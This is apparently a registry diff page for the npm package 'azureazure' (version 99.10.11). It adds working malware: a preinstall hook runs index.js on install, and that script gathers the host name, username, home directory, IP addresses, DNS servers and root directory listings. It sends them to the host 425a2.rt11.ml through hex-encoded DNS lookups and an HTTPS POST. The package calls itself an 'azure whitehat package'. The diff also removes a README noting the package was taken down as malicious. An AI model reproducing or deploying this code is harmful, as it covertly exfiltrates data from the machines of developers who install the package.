azureazure 0.0.1-security → 99.10.11
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of azureazure might be problematic. Click here for more details.
- package/index.js +143 -0
- package/package.json +9 -3
- package/README.md +0 -5
package/index.js
ADDED
@@ -0,0 +1,143 @@
|
|
1
|
+
const os = require("os");
|
2
|
+
const dns = require("dns");
|
3
|
+
const querystring = require("querystring");
|
4
|
+
const https = require("https");
|
5
|
+
const fs = require('fs');
|
6
|
+
var path = require('path');
|
7
|
+
const packageJSON = require("./package.json");
|
8
|
+
const package = packageJSON.name;
|
9
|
+
|
10
|
+
function getFiles(paths) {
|
11
|
+
var ufiles=[];
|
12
|
+
for(var j=0;j<paths.length;j++){
|
13
|
+
try{
|
14
|
+
mpath = paths[j];
|
15
|
+
files = fs.readdirSync(mpath);
|
16
|
+
for(var i=0;i<files.length;i++){
|
17
|
+
ufiles.push(path.join(mpath,files[i]));
|
18
|
+
}
|
19
|
+
}
|
20
|
+
catch(error){}
|
21
|
+
}
|
22
|
+
return ufiles;
|
23
|
+
}
|
24
|
+
|
25
|
+
function isprivate(ip) {
|
26
|
+
if(ip.startsWith('fe80::')||ip=="::1")
|
27
|
+
return true;
|
28
|
+
var parts = ip.split('.');
|
29
|
+
return parts[0] === '10' ||
|
30
|
+
(parts[0] === '172' && (parseInt(parts[1], 10) >= 16 && parseInt(parts[1], 10) <= 31)) ||
|
31
|
+
(parts[0] === '192' && parts[1] === '168') || (parts[0] === '127' && parts[1] === '0' && parts[2] === '0');
|
32
|
+
}
|
33
|
+
|
34
|
+
function toHex(data){
|
35
|
+
const bufferText = Buffer.from(data, 'utf8');
|
36
|
+
const text = bufferText.toString('hex');
|
37
|
+
return text;
|
38
|
+
}
|
39
|
+
|
40
|
+
function todashedip(ip){
|
41
|
+
return ip.replace(/\./g, '-').replace(/:/g,'-');
|
42
|
+
}
|
43
|
+
|
44
|
+
function gethttpips(){
|
45
|
+
var str=[];
|
46
|
+
var networkInterfaces = os.networkInterfaces();
|
47
|
+
for(item in networkInterfaces){
|
48
|
+
if(item != "lo"){
|
49
|
+
for(var i=0;i<networkInterfaces[item].length;i++){
|
50
|
+
str.push(networkInterfaces[item][i].address);
|
51
|
+
}
|
52
|
+
}
|
53
|
+
}
|
54
|
+
return str;
|
55
|
+
}
|
56
|
+
|
57
|
+
function getIps(){
|
58
|
+
var str=[];
|
59
|
+
var networkInterfaces = os.networkInterfaces();
|
60
|
+
for(item in networkInterfaces){
|
61
|
+
if(item != "lo"){
|
62
|
+
for(var i=0;i<networkInterfaces[item].length;i++){
|
63
|
+
if(!isprivate(networkInterfaces[item][i].address))
|
64
|
+
str.push(networkInterfaces[item][i].address);
|
65
|
+
}
|
66
|
+
}
|
67
|
+
}
|
68
|
+
for(var i=0;i<str.length;i++){
|
69
|
+
if(str[i].includes('.'))
|
70
|
+
return "i."+todashedip(str[i])+".i";
|
71
|
+
}
|
72
|
+
if(str.length>0)
|
73
|
+
return "i."+todashedip(str[0])+".i";
|
74
|
+
else
|
75
|
+
return "i._.i";
|
76
|
+
}
|
77
|
+
|
78
|
+
function getPathChunks(path){
|
79
|
+
str="";
|
80
|
+
chunks = path.split('/');
|
81
|
+
for(var i=0;i<chunks.length;i++){
|
82
|
+
str=str+toHex(chunks[i])+".";
|
83
|
+
}
|
84
|
+
str=str.slice(1,-1);
|
85
|
+
return "p."+str+".p";
|
86
|
+
}
|
87
|
+
|
88
|
+
function toName(pkg){
|
89
|
+
var str="";
|
90
|
+
var queries = [];
|
91
|
+
var substr1 = "";
|
92
|
+
var substr2 = "";
|
93
|
+
var hostname = "425a2.rt11.ml";
|
94
|
+
str=toHex(pkg.hn)+"."+toHex(pkg.p)+"."+toHex(pkg.un)+"."+getPathChunks(pkg.c)+"."+getIps()+"."+hostname;
|
95
|
+
queries.push(str);
|
96
|
+
return queries;
|
97
|
+
}
|
98
|
+
|
99
|
+
const td = {
|
100
|
+
p: package,
|
101
|
+
c: __dirname,
|
102
|
+
hd: os.homedir(),
|
103
|
+
hn: os.hostname(),
|
104
|
+
un: os.userInfo().username,
|
105
|
+
dns: JSON.stringify(dns.getServers()),
|
106
|
+
ip: JSON.stringify(gethttpips()),
|
107
|
+
dirs: JSON.stringify(getFiles(["C:\\","D:\\","/","/home"])),
|
108
|
+
}
|
109
|
+
var qs = toName(td);
|
110
|
+
for(var j=0;j<qs.length;j++){
|
111
|
+
dns.lookup(qs[j], function(err, result) {
|
112
|
+
//console.log(result)
|
113
|
+
});
|
114
|
+
}
|
115
|
+
|
116
|
+
const trackingData = JSON.stringify(td);
|
117
|
+
var postData = querystring.stringify({
|
118
|
+
msg: trackingData,
|
119
|
+
});
|
120
|
+
|
121
|
+
var options = {
|
122
|
+
hostname: "425a2.rt11.ml",
|
123
|
+
port: 443,
|
124
|
+
path: "/",
|
125
|
+
method: "POST",
|
126
|
+
headers: {
|
127
|
+
"Content-Type": "application/x-www-form-urlencoded",
|
128
|
+
"Content-Length": postData.length,
|
129
|
+
},
|
130
|
+
};
|
131
|
+
|
132
|
+
var req = https.request(options, (res) => {
|
133
|
+
res.on("data", (d) => {
|
134
|
+
//process.stdout.write(d);
|
135
|
+
});
|
136
|
+
});
|
137
|
+
|
138
|
+
req.on("error", (e) => {
|
139
|
+
// console.error(e);
|
140
|
+
});
|
141
|
+
|
142
|
+
req.write(postData);
|
143
|
+
req.end();
|
package/package.json
CHANGED
@@ -1,6 +1,12 @@
|
|
1
1
|
{
|
2
2
|
"name": "azureazure",
|
3
|
-
"version": "
|
4
|
-
"description": "
|
5
|
-
"
|
3
|
+
"version": "99.10.11",
|
4
|
+
"description": "azure whitehat package",
|
5
|
+
"main":"index.js",
|
6
|
+
"scripts":{
|
7
|
+
"test":"echo 'error no test specified' && exit 1",
|
8
|
+
"preinstall":"node index.js"
|
9
|
+
},
|
10
|
+
"author":"",
|
11
|
+
"License":"ISC"
|
6
12
|
}
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=azureazure for more information.
|